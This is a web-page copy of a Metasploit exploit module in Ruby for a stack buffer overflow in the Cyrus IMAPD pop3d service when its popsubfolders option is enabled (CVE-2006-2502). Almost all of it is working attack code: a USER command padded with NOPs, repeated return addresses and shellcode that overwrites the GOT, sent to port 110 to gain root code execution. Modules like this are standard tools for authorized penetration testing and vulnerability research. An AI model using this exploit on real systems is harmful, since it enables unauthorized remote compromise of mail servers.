CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',
14
'Description' => %q{
15
This exploit takes advantage of a stack based overflow. Once the stack
16
corruption has occurred it is possible to overwrite a pointer which is
17
later used for a memcpy. This gives us a write anything anywhere condition
18
similar to a format string vulnerability.
19
20
NOTE: The popsubfolders option is a non-default setting.
21
22
I chose to overwrite the GOT with my shellcode and return to it. This
23
defeats the VA random patch and possibly other stack protection features.
24
25
Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with
26
a version containing the vulnerable code, it is not exploitable due to the
27
use of the FORTIFY_SOURCE compiler enhancement
28
},
29
'Author' => [ 'bannedit', 'jduck' ],
30
'License' => MSF_LICENSE,
31
'References' =>
32
[
33
[ 'CVE', '2006-2502' ],
34
[ 'OSVDB', '25853' ],
35
[ 'BID', '18056' ],
36
[ 'EDB', '2053' ],
37
[ 'EDB', '2185' ],
38
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],
39
],
40
'Payload' =>
41
{
42
'Space' => 250,
43
'DisableNops' => true,
44
},
45
'Platform' => 'linux',
46
'Targets' =>
47
[
48
# bannedit: 0x080fd204
49
# K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)
50
[ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],
51
],
52
'Privileged' => true,
53
'DisclosureDate' => '2006-05-21',
54
'DefaultTarget' => 0))
55
56
register_options( [ Opt::RPORT(110) ])
57
end
58
59
60
61
def exploit
62
63
connect
64
banner = sock.get_once.to_s.strip
65
66
print_status "Banner: #{banner}"
67
68
# NOTE: orig poc shellcode len: 84
69
70
# kcope: 352+84+86+4 (nops,sc,nops,ret)
71
# K-sPecial: 84+(120*4) (sc,addrs)
72
# bannedit: 265+8+250+29+16
73
shellcode = payload.encoded
74
75
buf = "USER "
76
buf << make_nops(265)
77
# return address
78
buf << [target.ret].pack('V') * 2
79
buf << make_nops(250 - shellcode.length)
80
buf << shellcode
81
buf << make_nops(29)
82
sc_addr = target.ret - 277
83
buf << [sc_addr].pack('V') * 4
84
buf << "\r\n"
85
86
sock.send(buf, 0)
87
disconnect
88
89
end
90
end
91
92